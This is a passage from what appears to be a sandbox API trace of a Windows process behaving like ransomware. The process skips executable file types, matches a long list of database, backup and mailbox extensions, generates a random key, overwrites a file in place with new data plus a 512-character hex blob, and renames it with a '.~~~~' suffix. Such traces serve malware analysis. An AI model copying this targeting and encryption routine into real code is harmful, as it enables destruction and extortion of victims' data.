	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".dll") returned 0x0
	[0077.493] lstrlenW (lpString=".bat") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".bat") returned 0x0
	[0077.493] lstrlenW (lpString=".cpl") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".cpl") returned 0x0
	[0077.493] lstrlenW (lpString=".sys") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".sys") returned 0x0
	[0077.493] lstrlenW (lpString=".msc") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".msc") returned 0x0
	[0077.493] lstrlenW (lpString=".com") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".com") returned 0x0
	[0077.493] lstrlenW (lpString=".lnk") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".lnk") returned 0x0
	[0077.493] lstrlenW (lpString=".msp") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".msp") returned 0x0
	[0077.493] lstrlenW (lpString=".pif") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".pif") returned 0x0
	[0077.493] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0077.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\." (normalized: "c:\\program files\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9260 | out: hHeap=0x300000) returned 1
	[0077.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acb68 | out: hHeap=0x300000) returned 1
	[0077.494] RtlWakeConditionVariable () returned 0x365f70
	[0077.494] GetCurrentThreadId () returned 0xaf0
	[0077.494] GetCurrentThreadId () returned 0xaf0
	[0077.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acb68
	[0077.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9308 | out: hHeap=0x300000) returned 1
	[0077.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a92d0 | out: hHeap=0x300000) returned 1
	[0077.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a92d0
	[0077.494] lstrlenW (lpString=".scr") returned 4
	[0077.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".scr") returned 0x0
	[0077.494] lstrlenW (lpString=".cmd") returned 4
	[0077.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".cmd") returned 0x0
	[0077.494] lstrlenW (lpString=".dll") returned 4
	[0077.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".dll") returned 0x0
	[0077.494] lstrlenW (lpString=".bat") returned 4
	[0077.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".bat") returned 0x0
	[0077.495] lstrlenW (lpString=".cpl") returned 4
	[0077.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".cpl") returned 0x0
	[0077.495] lstrlenW (lpString=".sys") returned 4
	[0077.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".sys") returned 0x0
	[0077.495] lstrlenW (lpString=".msc") returned 4
	[0077.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".msc") returned 0x0
	[0077.495] lstrlenW (lpString=".com") returned 4
	[0077.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".com") returned 0x0
	[0077.495] lstrlenW (lpString=".lnk") returned 4
	[0077.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".lnk") returned 0x0
	[0077.495] lstrlenW (lpString=".msp") returned 4
	[0077.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".msp") returned 0x0
	[0077.495] lstrlenW (lpString=".pif") returned 4
	[0077.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch=".pif") returned 0x0
	[0077.495] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0077.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a92d0 | out: hHeap=0x300000) returned 1
	[0077.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acb68 | out: hHeap=0x300000) returned 1
	[0077.495] RtlWakeConditionVariable () returned 0x365f70
	[0077.495] GetCurrentThreadId () returned 0xaf0
	[0077.496] GetCurrentThreadId () returned 0xaf0
	[0077.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0077.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3fb0 | out: hHeap=0x300000) returned 1
	[0077.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acba0 | out: hHeap=0x300000) returned 1
	[0077.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fd058
	[0077.496] lstrlenW (lpString=".scr") returned 4
	[0077.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".scr") returned 0x0
	[0077.496] lstrlenW (lpString=".cmd") returned 4
	[0077.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".cmd") returned 0x0
	[0077.496] lstrlenW (lpString=".dll") returned 4
	[0077.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dll") returned 0x0
	[0077.496] lstrlenW (lpString=".bat") returned 4
	[0077.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".bat") returned 0x0
	[0077.496] lstrlenW (lpString=".cpl") returned 4
	[0077.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".cpl") returned 0x0
	[0077.496] lstrlenW (lpString=".sys") returned 4
	[0077.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".sys") returned 0x0
	[0077.496] lstrlenW (lpString=".msc") returned 4
	[0077.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".msc") returned 0x0
	[0077.496] lstrlenW (lpString=".com") returned 4
	[0077.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".com") returned 0x0
	[0077.496] lstrlenW (lpString=".lnk") returned 4
	[0077.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".lnk") returned 0x0
	[0077.497] lstrlenW (lpString=".msp") returned 4
	[0077.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".msp") returned 0x0
	[0077.497] lstrlenW (lpString=".pif") returned 4
	[0077.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".pif") returned 0x0
	[0077.497] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0077.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.569] lstrlenW (lpString=".sqb") returned 4
	[0077.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".sqb") returned 0x0
	[0077.574] lstrlenW (lpString=".ost") returned 4
	[0077.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".ost") returned 0x0
	[0077.574] lstrlenW (lpString=".txt") returned 4
	[0077.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".txt") returned 0x0
	[0077.587] lstrlenW (lpString=".mdt") returned 4
	[0077.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".mdt") returned 0x0
	[0077.587] lstrlenW (lpString=".BDB") returned 4
	[0077.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".BDB") returned 0x0
	[0077.587] lstrlenW (lpString=".eql") returned 4
	[0077.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".eql") returned 0x0
	[0077.587] lstrlenW (lpString=".DBF") returned 4
	[0077.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DBF") returned 0x0
	[0077.588] lstrlenW (lpString=".EQL") returned 4
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".EQL") returned 0x0
	[0077.588] lstrlenW (lpString=".FDB") returned 4
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".FDB") returned 0x0
	[0077.588] lstrlenW (lpString=".EDB") returned 4
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".EDB") returned 0x0
	[0077.588] lstrlenW (lpString=".DACPAC") returned 7
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DACPAC") returned 0x0
	[0077.588] lstrlenW (lpString=".VHD") returned 4
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".VHD") returned 0x0
	[0077.588] lstrlenW (lpString=".DBV") returned 4
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DBV") returned 0x0
	[0077.588] lstrlenW (lpString=".dacpac") returned 7
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dacpac") returned 0x0
	[0077.588] lstrlenW (lpString=".sdf") returned 4
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".sdf") returned 0x0
	[0077.588] lstrlenW (lpString=".accdb") returned 6
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".accdb") returned 0x0
	[0077.588] lstrlenW (lpString=".DBX") returned 4
	[0077.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DBX") returned 0x0
	[0077.589] lstrlenW (lpString=".MDT") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".MDT") returned 0x0
	[0077.589] lstrlenW (lpString=".SQB") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".SQB") returned 0x0
	[0077.589] lstrlenW (lpString=".vhd") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".vhd") returned 0x0
	[0077.589] lstrlenW (lpString=".bac") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".bac") returned 0x0
	[0077.589] lstrlenW (lpString=".mdf") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".mdf") returned 0x0
	[0077.589] lstrlenW (lpString=".BAK") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".BAK") returned 0x0
	[0077.589] lstrlenW (lpString=".BAC") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".BAC") returned 0x0
	[0077.589] lstrlenW (lpString=".dbs") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dbs") returned 0x0
	[0077.589] lstrlenW (lpString=".vhdx") returned 5
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".vhdx") returned 0x0
	[0077.589] lstrlenW (lpString=".NDF") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".NDF") returned 0x0
	[0077.589] lstrlenW (lpString=".dat") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dat") returned 0x0
	[0077.589] lstrlenW (lpString=".DBS") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DBS") returned 0x0
	[0077.589] lstrlenW (lpString=".CKP") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".CKP") returned 0x0
	[0077.589] lstrlenW (lpString=".edb") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".edb") returned 0x0
	[0077.589] lstrlenW (lpString=".PST") returned 4
	[0077.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".PST") returned 0x0
	[0077.590] lstrlenW (lpString=".dbf") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dbf") returned 0x0
	[0077.590] lstrlenW (lpString=".SQL") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".SQL") returned 0x0
	[0077.590] lstrlenW (lpString=".pst") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".pst") returned 0x0
	[0077.590] lstrlenW (lpString=".dbv") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dbv") returned 0x0
	[0077.590] lstrlenW (lpString=".SDF") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".SDF") returned 0x0
	[0077.590] lstrlenW (lpString=".dtxs") returned 5
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dtxs") returned 0x0
	[0077.590] lstrlenW (lpString=".db3") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".db3") returned 0x0
	[0077.590] lstrlenW (lpString=".OST") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".OST") returned 0x0
	[0077.590] lstrlenW (lpString=".dbx") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dbx") returned 0x0
	[0077.590] lstrlenW (lpString=".DB3") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DB3") returned 0x0
	[0077.590] lstrlenW (lpString=".DAT") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DAT") returned 0x0
	[0077.590] lstrlenW (lpString=".VHDX") returned 5
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".VHDX") returned 0x0
	[0077.590] lstrlenW (lpString=".ndf") returned 4
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".ndf") returned 0x0
	[0077.590] lstrlenW (lpString=".DB") returned 3
	[0077.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DB") returned 0x0
	[0077.591] lstrlenW (lpString=".sql") returned 4
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".sql") returned 0x0
	[0077.591] lstrlenW (lpString=".MYD") returned 4
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".MYD") returned 0x0
	[0077.591] lstrlenW (lpString=".DBT") returned 4
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DBT") returned 0x0
	[0077.591] lstrlenW (lpString=".ACCDB") returned 6
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".ACCDB") returned 0x0
	[0077.591] lstrlenW (lpString=".fdb") returned 4
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".fdb") returned 0x0
	[0077.591] lstrlenW (lpString=".bak") returned 4
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".bak") returned 0x0
	[0077.591] lstrlenW (lpString=".myd") returned 4
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".myd") returned 0x0
	[0077.591] lstrlenW (lpString=".DTXS") returned 5
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".DTXS") returned 0x0
	[0077.591] lstrlenW (lpString=".ckp") returned 4
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".ckp") returned 0x0
	[0077.591] lstrlenW (lpString=".dbt") returned 4
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".dbt") returned 0x0
	[0077.591] lstrlenW (lpString=".db") returned 3
	[0077.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".db") returned 0x0
	[0077.591] lstrlenW (lpString=".TXT") returned 4
	[0077.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".TXT") returned 0x0
	[0077.592] lstrlenW (lpString=".MDF") returned 4
	[0077.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".MDF") returned 0x0
	[0077.592] lstrlenW (lpString=".bdb") returned 4
	[0077.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".bdb") returned 0x0
	[0077.592] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0077.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.592] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0077.593] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.593] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0077.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0077.593] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19758323106) returned 1
	[0077.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9825fb10, dwHighDateTime=0x1d60e1e)) 
	[0077.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0077.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0077.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0077.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0077.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0077.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd0d0
	[0077.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab2d0
	[0077.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd0d0 | out: hHeap=0x300000) returned 1
	[0077.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7a18
	[0077.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0077.594] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0077.594] GetLastError () returned 0x0
	[0077.594] GetLastError () returned 0x0
	[0077.594] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0077.594] GetLastError () returned 0x0
	[0077.594] GetLastError () returned 0x0
	[0077.594] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x18340, lpOverlapped=0x0) returned 1
	[0077.597] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7cc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.598] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x18340, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x18340, lpOverlapped=0x0) returned 1
	[0077.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.598] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.598] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.598] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.599] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.599] CloseHandle (hObject=0x128) returned 1
	[0077.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0077.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.~~~~" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.~~~~")) returned 1
	[0077.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39fe28 | out: hHeap=0x300000) returned 1
	[0077.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0077.600] GetLastError () returned 0x0
	[0077.600] RtlWakeConditionVariable () returned 0x365f70
	[0077.600] GetCurrentThreadId () returned 0xaf0
	[0077.600] GetCurrentThreadId () returned 0xaf0
	[0077.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0077.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a94c8 | out: hHeap=0x300000) returned 1
	[0077.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
